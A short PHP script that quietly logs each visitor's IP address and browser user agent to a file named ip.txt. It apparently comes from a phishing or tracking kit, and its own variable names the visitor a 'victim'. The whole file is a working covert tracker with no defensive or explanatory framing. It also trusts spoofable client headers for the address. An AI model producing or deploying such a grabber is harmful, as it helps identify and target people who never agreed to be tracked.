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<?php
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if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
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  $ipaddress = $_SERVER['HTTP_CLIENT_IP'] . "\r\n";
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} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
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  $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'] . "\r\n";
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} else {
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  $ipaddress = $_SERVER['REMOTE_ADDR'] . "\r\n";
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}
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$useragent = " User-Agent: ";
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$browser = $_SERVER['HTTP_USER_AGENT'];
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$file = 'ip.txt';
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$victim = "IP: ";
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$fp = fopen($file, 'a');
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fwrite($fp, $victim);
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fwrite($fp, $ipaddress);
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fwrite($fp, $useragent);
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fwrite($fp, $browser);
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fclose($fp);
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